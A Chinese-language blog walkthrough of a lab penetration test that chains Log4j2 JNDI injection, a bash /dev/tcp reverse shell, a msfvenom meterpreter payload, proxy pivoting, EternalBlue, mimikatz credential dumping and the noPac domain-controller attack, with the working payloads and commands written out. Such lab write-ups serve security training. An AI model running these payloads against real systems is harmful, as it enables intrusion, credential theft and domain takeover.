記一次log4j2引發的滲透測試

Drunkmars發表於2022-01-05

前言

 

記一次log4j2打入內網並用CVE-2021-42287、CVE-2021-42278獲取到DC許可權的靶場滲透。

 

外網打點

 

首先對web進行埠掃描,發現38080埠和22埠

 

 

 

訪問一下38080埠發現是一個error page

 

 

 

用Wappalyzer看一下是什麼架構,但是好像沒有檢測出來

 

 

 

拿著報錯去百度上發現應該是springboot

 

 

 

索性用goby再去掃一下,應該是spring沒錯,但是沒有漏洞是什麼操作?聯想到最近出的log4j2的洞,可能他只是一個日誌檔案所以並沒有框架

 

 

 

 

 

使用payload=${jndi:ldap://p9j8l8.dnslog.cn}驗證一下有回顯證明存在漏洞

 

 

 

嘗試進一步利用漏洞,首先起一個ldap服務,ip為本地接收shell的ip地址

 

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.1.105

 

 

 

抓包修改Content-Type: appllication/x-www-form-urlencoded,並執行以下payload成功回顯

 

payload=${jndi:ldap://192.168.1.105:1389/TomcatBypass/TomcatEcho}

 

 

 

執行ls -al /看一下也成功

 

 

 

nc開啟監聽埠

 

 

 

然後使用bash命令反彈,這裡需要先base64編碼然後對編碼後的特殊字元進行2層url轉碼

 

bash -i >& /dev/tcp/192.168.1.105/9999 0>&1

 

抓包新增payload=${jndi:ldap:1/192.168.1.105:1389/TomcatBypass/Command/Base64/二層轉碼之後的字元},即可得到反彈shell

 

 

 

進行資訊蒐集發現為docker環境,這裡嘗試了docker逃逸失敗,那麼繼續進行資訊蒐集

 

 

 

在根目錄下找到了第一個flag,這裡有一個got this,在之前埠掃描的時候看到開放了22埠,嘗試使用ssh直接連線

 

 

 

使用xshell嘗試連線

 

 

連線成功,拿到了宿主機的許可權

 

 

 

ifconfig檢視網路卡情況發現還有一張10.0.1.0/24段的網路卡

 

 

 

這裡方便的話其實可以使用cs上線linux後用cs繼續打,這裡我就沒有上線cs,使用linux的命令對10.0.1.0/24段探測存貨主機

 

 for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done

 

 

 

 

ping一下是存活的

 

 

 

使用毒液把流量代理出來,首先開啟監聽

 

admin.exe -lport 7777

 

 

 

 

然後上傳agent_linux到靶機上

 

 

加權並執行

 

chmod 777 agent_linux_x86
agent_linux_x86 -rhost 192.168.1.105 -rport 7777

 

 

 

連線成功

 

 

 

這裡本來準備用毒液的代理到msf打的,後面覺得比較麻煩,就直接用kali生成的elf馬上線msf了

 

 

 

 

首先生成一個32位的elf馬

 

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf

 

 

 

 

然後加權並執行

 

chmod 777 shell.elf
 
./shell

 

 

 

 

kali使用exploit/multi/handler進行監聽

 

 

獲取到宿主機的shell

 

 

然後新增10.0.1.0/24段的路由

 

bg

route add 10.0.1.0 255.255.255.0 1
route print

 

 

 

 

 

然後配置proxychain4.conf檔案並使用socks模組

 

search socks
use auxiliary/sevrer/socks_proxy
run

 

 

 

 

我們在之前已經知道了內網主機的ip,那麼這裡我們直接使用proxychain配合nmap對10.0.1.7的埠進行掃描

 

proxychains4 nmap -sT -Pn 10.0.1.7

 

 

 

 

發現有445埠,那麼對445埠進一步掃描

 

 

 

先確定一下系統版本,使用auxiliary/scanner/smb/smb_version模組,發現是win7 sp1

 

 

 

看能不能利用永恆之藍,這裡使用到auxiliary/scanner/smb/smb_ms17_010模組,發現可以利用永恆之藍

 

 

 

使用exploit/windows/smb/ms17_010_eternalbule模組,因為是不出網環境,這裡需要用到bind_tcp載荷

 

 

 

run之後拿到一個system許可權的meterpreter

 

 

 

 

C:\Users\root\Desktop下拿到第二個flag

 

 

 

然後繼續進行資訊蒐集,發現同樣是雙網路卡,還存在10.0.0.0/24段的一張網路卡

 

 

 

ipconfig /all看到dns伺服器為redteam.lab應該在域內

 

 

 

這裡ping一下redteam.lab得到域控的ip為10.0.0.12

 

 

 

這裡不知道域控有什麼洞,先上傳一個mimikatz把密碼抓取出來,得到Administrator/Admin12345,這裡其實就可以使用域管賬戶ipc直接連線,但是這裡抓到了一個域使用者,嘗試使用最新的CVE-2021-42287、CVE-2021-42278來進行攻擊,關於漏洞的原理請移步

 

privilege::debug
sekurlsa::logonpasswords

 

 

 

 

 

 

這裡我準備使用noPac.exe直接去獲取一個shell的,但是這裡noPac.exe的利用條件是需要主機上有.net4.0環境,所以這裡沒有回顯

 

noPac.exe下載地址:https://github.com/cube0x0/noPac

 

 

 

本來準備一步一步的用原始的方法打的,但是powershell用不了沒有回顯,就寫一下原始利用的步驟吧

 

  1. 首先建立一個機器賬戶,可以使用 impacket 的 addcomputer.py或是powermad

    addcomputer.py是利用SAMR協議建立機器賬戶,這個方法所建立的機器賬戶沒有SPN,所以可以不用清除

  2. 清除機器賬戶的servicePrincipalName屬性

  3. 將機器賬戶的sAMAccountName,更改為DC的機器賬戶名字,注意字尾不帶$

  4. 為機器賬戶請求TGT

  5. 將機器賬戶的sAMAccountName更改為其他名字,不與步驟3重複即可

  6. 通過S4U2self協議向DC請求ST

  7. 進行 DCsync Attack

 

 

 

這裡直接使用sam_the_admin.py進行攻擊

 

proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell

 

 

 

即可拿到DC的shell

 

 

 

C:\Users\Administrator\Desktop下找到最後一個flag

 

 

 

後記

 

因為時間原因一些自己整理的筆記沒有及時發文章,一些平時學習的筆記都放在了公眾號 紅隊藍軍 上,感興趣的小夥伴們可以關注一下

 

 

相關文章